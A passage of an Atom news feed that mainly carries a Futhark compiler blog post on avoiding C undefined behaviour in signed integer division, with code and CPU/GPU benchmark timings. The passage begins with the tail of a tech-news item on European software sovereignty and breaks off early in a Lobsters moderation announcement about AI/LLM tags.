&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.techspot.com/images2/news/bigimage/2026/09/2026-09-29-image-16-j.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Washington authorities recently decided to target the Hague-based International Criminal Court (ICC) with sanctions, while Microsoft allegedly blocked the court&#39;s prosecutors from accessing its email and other crucial IT services. The ICC is already &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.techspot.com/news/110095-international-criminal-court-replacing-microsoft-office-sovereign-eu.html&quot;&gt;replacing&lt;/a&gt; Microsoft Office with an open-source alternative, as DAWO and NixOS are going to extend the sovereignty efforts even further.&lt;/p&gt;
&lt;p&gt;Earlier this year, the Netherlands blocked an attempt by a US company to buy a crucial app used by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.techspot.com/news/112552-netherlands-blocked-us-company-buying-app-dutch-citizens.html&quot;&gt;Dutch citizens&lt;/a&gt;. Elsewhere in Europe, countries are &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.techspot.com/news/113763-switzerland-paying-11-million-stop-using-outlook-teams.html&quot;&gt;investing millions&lt;/a&gt; in massive conversion projects based on the same concept: replacing Windows, Microsoft, and most US software services with Linux, open-source software, or other custom solutions.&lt;/p&gt;
&lt;p&gt;Masthead credit: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lenjourneys.com/the-hague-netherlands-royal-and-political-heart/&quot;&gt;LEN Journeys&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:4f540e6b8829b95a47db62850950a7d8219a246c</id>
    <title type="text">Making all divisions slower to fix a bug in 0.000000000000000000542% of cases</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-19-making-all-divisions-slower-to-fix-a-bug-in-0/"/>
    <link rel="via" type="text/html" href="https://futhark-lang.org/blog/2026-10-14-defining-division.html"/>
    <published>2026-10-19T16:42:07+00:00</published>
    <updated>2026-10-19T16:42:07+00:00</updated>
    <author>
      <name>futhark-lang.org via NoahTheDuke</name>
    </author>
    <category term="news"/>
    <category term="c"/>
    <category term="compilers"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Almost all modern machines use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html&quot;&gt;two’s complement&lt;/a&gt; to represent integers. This representation is asymmetric, in the sense that the most negative number has no corresponding positive number. For example, with signed 8-bit numbers, the most negative number is &lt;code&gt;-128&lt;/code&gt;, whilst the most positive number is &lt;code&gt;127&lt;/code&gt;. This quirk shows up in various cases, but for the purpose of this post, I am concerned with signed integer division, where &lt;code&gt;x/-1&lt;/code&gt; mathematically should produce &lt;code&gt;-x&lt;/code&gt;, but in the case where &lt;code&gt;x&lt;/code&gt; is the most negative number, that is not possible. For 32-bit integers, which I arbitrarily decide are the most common, this means that one out of every 2⁶⁴ possible inputs is impossible to represent correctly - leading to the somewhat clickbaity title of this post, and some recently fixed troubles in the Futhark compiler. In this post I will explain what the actual problem is for a language implementation, how we fix it, and what the performance cost looks like. The main audience of this post is other language implementers, but I think the concepts involved are simple enough that anyone curious about low level issues can follow along.&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2026-10-14-defining-division.html#the-c-issue&quot; title=&quot;the-c-issue&quot;&gt;The C issue&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The Futhark compiler has multiple backends, but the most important ones work by generating C code. This has many practical advantages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;It is easy to debug the generated code because it is easy to read and modify by hand.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Most systems have a C compiler (or easy access to one), meaning Futhark has fewer dependencies, is portable, and doesn’t need to bundle native code generators.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Many languages can interoperate with C, so by exposing Futhark as a C API, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2022-07-01-how-futhark-talks-to-its-friends.html&quot;&gt;those languages can also call Futhark&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That said, there are also disadvantages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Some code patterns are hard to express (or express efficiently) in C. This is mainly the case for advanced language features such as coroutines, tail calls, or garbage collection. Fortunately Futhark is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2025-09-26-the-biggest-semantic-mess.html&quot;&gt;pretty boring from a semantic perspective&lt;/a&gt;, so this does not affect us too much.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is very easy to accidentally generate C code that is subtly wrong. This does unfortunately keep pestering us.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;C is of course renowned as a very safe and easy-to-use language, because C programmers never make coding mistakes. The few times they do make mistakes, it is often due to mishandling of pointers or array sizes, leading to buffer overflows, heap smashing, etc. These are actually not the main problem with generating C from Futhark, as Futhark itself is memory-safe, and systematically inserting in bounds checks in generated code is easy (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2020-07-13-bounds-checking.html&quot;&gt;although a little more interesting in GPU code&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;No, the main problem we’ve had is actually undefined behaviour. As is by now well-known, C specifies various events as explicitly undefined, meaning not only that a C compiler can assume it will never occur, but also that no particular result is guaranteed should a program perform one of the undefined operations. Some causes of undefined behaviour are obvious and easy to avoid: reading arrays out-of-bounds, using freed memory, etc. But C has a long list of more obscure cases. My favourite example is that in C99, it is undefined behaviour if a source code file does not end with a final newline character. Yet we have honestly not spent that much time dealing with that particular issue in Futhark.&lt;/p&gt;
&lt;p&gt;No, the main problem, and now we are finally returning to the premise in the post, is that &lt;em&gt;signed&lt;/em&gt; integer overflow is undefined behaviour in C. This is particularly insidious since most programmers have a mental model of fixed-size integer arithmetic where overflow is a natural event, and so does the actual machines we use, but a C compiler may assume it never happens. The reason behind this specification is so the C compiler can optimise based on useful properties such as &lt;code&gt;x+1&amp;gt;x&lt;/code&gt;, which are not true in the presence of overflow, but the motivation does not actually matter to us. In a language like Futhark, where integer overflow &lt;em&gt;is&lt;/em&gt; defined behaviour (it wraps around), this creates a very unfortunate mismatch between what we want to do, and what we can express in our target language.&lt;/p&gt;
&lt;p&gt;Fortunately, C is merciful enough to specify that for &lt;em&gt;unsigned&lt;/em&gt; numbers, overflow is well-defined, and behaves just as you would expect (on a two’s-complement machine, anyway). For this reason, Futhark’s C code generation actually represents all integer types using unsigned C types, (so &lt;code&gt;i64&lt;/code&gt; becomes &lt;code&gt;uint64_t&lt;/code&gt;), and then performs the arithmetic on unsigned types. This works due to the nice property of two’s complement representation that most arithmetic operations are done exactly the same, at the bit level, as for unsigned integers. One exception is comparison operators, in which we cast to the signed type (e.g. &lt;code&gt;int64_t&lt;/code&gt;) before performing the comparison. Such conversions are free, since they do not need to change the bit representation of the number, but only affect what instructions the C compiler emits for e.g. a &lt;code&gt;&amp;lt;=&lt;/code&gt; operation.&lt;/p&gt;
&lt;p&gt;Another operator where sign matters is division. If we do &lt;code&gt;x/-1&lt;/code&gt;, then it is quite important whether we are dividing with a small negative number, or with the number that arises if we interpret the two’s complement bit pattern for &lt;code&gt;-1&lt;/code&gt; as an unsigned integer. This means that for signed integer division, Futhark generates a signed C division. This means that if we do &lt;code&gt;x/-1&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is the most negative number, we are stuck with the issue described in the post opener - the correct result (&lt;code&gt;-x&lt;/code&gt;) cannot be represented as a signed integer, so this is a signed integer overflow, and that is undefined behaviour in C.&lt;/p&gt;
&lt;p&gt;Futhark is a principled language, and therefore producing undefined behaviour is unacceptable. (I realise the hypocrisy of this puritan declaration whilst leaving in the bug for ten years.) Further, on x86 this kind of division will actually signal a CPU exception, crashing the program, so this is not merely a violation of the sanctity of the C specification. Fixing it in principle is easy. This is the definition of 32-bit signed division in the Futhark runtime system:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;int32_t squot32(int32_t x, int32_t y) {
  return x / y;
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is the version that avoids the 0.000000000000000000542% undefined cases:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;int32_t squot32(int32_t x, int32_t y) {
  return y == -1 ? (int32_t)(0 - (uint32_t)x) : x / y;
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This function simply checks whether the divisor is &lt;code&gt;-1&lt;/code&gt;, and if so does the negation with unsigned (well-defined) arithmetic. The cost is a branch on every single division. The behaviour is still &lt;em&gt;implementation-defined&lt;/em&gt;, but produces the right results on the machines we care about.&lt;/p&gt;
&lt;p&gt;(Why &lt;code&gt;quot&lt;/code&gt; instead of &lt;code&gt;div&lt;/code&gt;? Futhark actually has &lt;em&gt;two&lt;/em&gt; division operators - one that rounds sensibly towards negative infinity, and one that rounds towards zero like C. The function above is the one that follows C’s behaviour because it is less code, but the issue is the same either way.)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2026-10-14-defining-division.html#the-cost&quot; title=&quot;the-cost&quot;&gt;The cost&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Correctness is not really a thing we can compromise on, but in principle it is frustrating that &lt;em&gt;every&lt;/em&gt; integer division needs an additional branch just to handle a &lt;em&gt;single&lt;/em&gt; special case that may never actually happen, as it is highly unlikely that a program’s correctness &lt;em&gt;depends&lt;/em&gt; on wraparound for signed integer division at the ends of the numeric scale. But apart from the principal frustration, what is the actual overhead?&lt;/p&gt;
&lt;p&gt;Measured on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/diku-dk/futhark-benchmarks&quot;&gt;Futhark benchmark suite&lt;/a&gt; on GPU, I was unable to measure an impact. This is likely because signed integer divisions are relatively rare, and even when they do occur, they likely occur due to index arithmetic, where the resulting memory loads have so much latency that they easily &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://modal.com/gpu-glossary/perf/latency-hiding&quot;&gt;hide&lt;/a&gt; the cost of doing the divisions.&lt;/p&gt;
&lt;p&gt;But what if we try to construct a contrived program where the bottleneck is signed division throughput? That would demonstrate something close to worst-case overhead of adding the branch. Behold, &lt;code&gt;divisions.fut&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;-- ==
-- random input { 1000000 [1000]i32 [1000]i32 }

entry main [n] (k: i32) (xs: [n]i32) (ys: [n]i32) : [n]i32 =
  map2 (\x y -&amp;gt;
          loop z = x
          for _i &amp;lt; k do
            #[unsafe]
            z // y)
       xs
       ys
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The program accepts a number &lt;code&gt;k&lt;/code&gt; and two arrays of integers. For each corresponding pair &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;, it &lt;code&gt;k&lt;/code&gt; times divides &lt;code&gt;x&lt;/code&gt; by &lt;code&gt;y&lt;/code&gt;, using &lt;code&gt;//&lt;/code&gt; to target the &lt;code&gt;squot32&lt;/code&gt; function, and using &lt;code&gt;#[unsafe]&lt;/code&gt; to remove division-by-zero checks.&lt;/p&gt;
&lt;p&gt;For most values of &lt;code&gt;k&lt;/code&gt;, repeated division quickly produces zero, but the compiler cannot assume this, so it will have to actually perform the divisions. You may reasonably argue that the program is not &lt;em&gt;purely&lt;/em&gt; division bound, as the bookkeeping around the loop also involves costly things such as adding and comparing integers, but a program that contains a very long &lt;em&gt;unrolled&lt;/em&gt; sequence of divisions stretches my credulity too far.&lt;/p&gt;
&lt;p&gt;Using the handy &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/examples/benchmarking.html&quot;&gt;futhark bench&lt;/a&gt; tool, we can then measure the impact using the compiler with a fixed implementation of &lt;code&gt;squot32&lt;/code&gt; (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/diku-dk/futhark/pull/2579&quot;&gt;part of this pull request&lt;/a&gt;). First on sequential code, using the &lt;code&gt;c&lt;/code&gt; backend:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; futhark-old-and-busted bench divisions.fut&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;...&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;divisions.fut&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (no tuning file&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;100000i32&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32 &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32:    3390148μs (95&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt; CI: &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt; 3387613.7,  3396498.1&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; futhark-new-hotness bench divisions.fut&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;...&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;divisions.fut&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (no tuning file&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;100000i32&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32 &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32:    3389215μs (95&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt; CI: &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt; 3387626.2,  3391036.4&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no measurable difference, which is not a surprise on a modern speculatively executing CPU for a program with an easily predicted branch.&lt;/p&gt;
&lt;p&gt;But what about GPUs? After all, “GPUs are bad at branching” is a common motto by those of my students who like to replace an &lt;code&gt;if&lt;/code&gt; with ten lines of dense branchfree code. Let’s try the experiment again with Futhark’s &lt;code&gt;cuda&lt;/code&gt; backend:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; futhark-old-and-busted bench&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; --&lt;/span&gt;backend&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-option syntax-shell&quot;&gt;=&lt;/span&gt;cuda divisions.fut&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;...&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;divisions.fut&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (no tuning file&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;100000i32&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32 &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32:       5548μs (95&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt; CI: &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;    5546.4,     5552.2&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; futhark-new-hotness bench&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; --&lt;/span&gt;backend&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-option syntax-shell&quot;&gt;=&lt;/span&gt;cuda divisions.fut&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;...&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;divisions.fut&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (no tuning file&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;100000i32&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32 &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;10000&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;i32:      12592μs (95&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt; CI: &lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-begin syntax-shell&quot;&gt;[&lt;/span&gt;   12563.5,    12622.1&lt;span class=&quot;syntax-keyword syntax-control syntax-regexp syntax-set syntax-end syntax-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well then! This really is a major difference. Much more than I expected when I began this work, actually. Reading the generated PTX (CUDA machine code), the old version is partially unrolled into four consecutive &lt;code&gt;div.s32&lt;/code&gt; instructions in a single basic block, whilst the fixed compiler still triggers unrolling, but with many branches between the divisions.&lt;/p&gt;
&lt;p&gt;I observed a similar result on an AMD GPU with the &lt;code&gt;hip&lt;/code&gt; backend, although the impact was slightly less there.&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://futhark-lang.org/blog/2026-10-14-defining-division.html#conclusions&quot; title=&quot;conclusions&quot;&gt;Conclusions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The cost of fixing those 0.000000000000000000542% of divisions is real and unfortunate, and I would certainly like to have a cheaper fix. Having undefined behaviour in the generated code is of course not acceptable, so we will have to live with this for now. On non-contrived benchmarks, it seems there is essentially no impact. For programmers unwilling to pay this cost, you can always stick to &lt;em&gt;unsigned&lt;/em&gt; divisions, if you know that you will never have negative numbers.&lt;/p&gt;
&lt;p&gt;This is the last instance of undefined behaviour in Futhark’s generated C code that I remember. There is however at least one instance of &lt;em&gt;implementation-defined&lt;/em&gt; behaviour, namely in the code generation for bit-shifting integers by more bits than their size, but I have yet to gather the courage to fix it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:d9c798d10ab2c23ff8ad69621dc54f2cec6dbfd0</id>
    <title type="text">Updates to site guidelines and AI/LLM tags</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-19-updates-to-site-guidelines-and-ai-llm-tags/"/>
    <link rel="via" type="text/html" href="https://lobste.rs/s/h0eate/updates_site_guidelines_ai_llm_tags"/>
    <published>2026-10-19T01:28:53+00:00</published>
    <updated>2026-10-19T01:28:53+00:00</updated>
    <author>
      <name>by 355E3B</name>
    </author>
    <category term="news"/>
    <category term="announce"/>
    <category term="meta"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Hey folks, I&#39;ve been having to perform an increasing number of moderation actions surrounding the vibecoding tag and AI/LLM related content. I started reading Lobsters because it had the most interesting viewpoints related to computing.…</summary>
    <content type="html">&lt;p&gt;Hey folks,&lt;/p&gt;
&lt;p&gt;I&#39;ve been having to perform an increasing number of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/moderations?moderator=355E3B&quot;&gt;moderation actions&lt;/a&gt; surrounding the &lt;code&gt;vibecoding&lt;/code&gt; tag and AI/LLM related content. I started reading Lobsters because it had the most interesting viewpoints related to computing. During that time, I&#39;ve found that this community is at it&#39;s best when it&#39;s trying to, in good faith, help others grow. In lieu of a larger and more rambling discussion on this point, we would like to try two changes encourage that behavior again and re-focus topicality around ensuring that content submitted to the site should, at a minimum, be respectful of a reader&#39;s time and intelligence.&lt;/p&gt;
&lt;p&gt;The first adjustment is two updates to the about page, which try to provide a bit more clarity in what we consider topical and what constitutes self promotion:&lt;/p&gt;
&lt;p&gt;Intro:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lobsters is a computing-focused community centered around discussing links. Our goal is to learn, craft, collaborate, and share interesting viewpoints.&lt;/p&gt;
